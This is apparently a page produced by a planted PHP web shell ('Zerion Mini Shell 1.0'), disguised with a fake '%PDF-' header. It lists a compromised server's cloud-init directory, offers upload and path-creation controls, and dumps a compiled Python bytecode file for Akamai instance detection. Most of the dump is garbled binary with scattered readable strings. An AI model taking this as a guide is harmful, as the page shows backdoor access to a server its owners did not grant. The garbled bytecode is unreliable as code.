%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/akamai.cpython-312.pyc

�

���f����ddlZddlmZmZmZmZddlmZdddddd	d
�Zdee	ee
e	fffd�Zde
fd
�Zdee	fd�Z
y)�N)�Any�Dict�Optional�Union)�dmi�allow_local_stage�allow_init_stage�
allow_dhcp�
allow_ipv4�
allow_ipv6�preferred_mac_prefixes)�als�ais�dhcp�v4�v6�pmp�returnc��tjd�}i}|s|Stjd|�D]J\}}}|tvs�|dvrtt
|��}n|dk(r|jd�}||t|<�L|S)zH
    Parses flags from dmi data and updates self.ds_cfg accordingly
    zbaseboard-serial-numberz([a-z0-9]+)=(.*?)(;|$)�01r�,)r�
read_dmi_data�re�findall�DMI_OVERRIDE_MAP�bool�int�split)�	dmi_flags�ret�key�value�_s     �B/usr/lib/python3/dist-packages/cloudinit/sources/helpers/akamai.py�get_dmi_configr%s����!�!�";�<�I��C���
����$=�y�I�/�
��U�A��"�"���}��S��Z�(��������C�(��).�C� ��%�&�
/��J�c�4�tjd�}|dvS)zo
    Reads the BIOS vendor from dmi data to determine if we are running in the
    Akamai Connected Cloud.
    zsystem-manufacturer)�Linode�Akamai�rr)�vendors r$�is_on_akamair,(s!��
�
�
�4�
5�F��)�)�)r&c�,�tjd�S)zo
    Returns the instance id read from dmi data without requiring the metadata
    service to be reachable
    zsystem-serial-numberr*�r&r$�get_local_instance_idr/1s��
���3�4�4r&)r�typingrrrr�	cloudinitrr�strrr%r,r/r.r&r$�<module>r3sh��	�-�-�����
�
�#�
����S�%��c�	�"2�2�3��.*�d�*�5�x��}�5r&

Zerion Mini Shell 1.0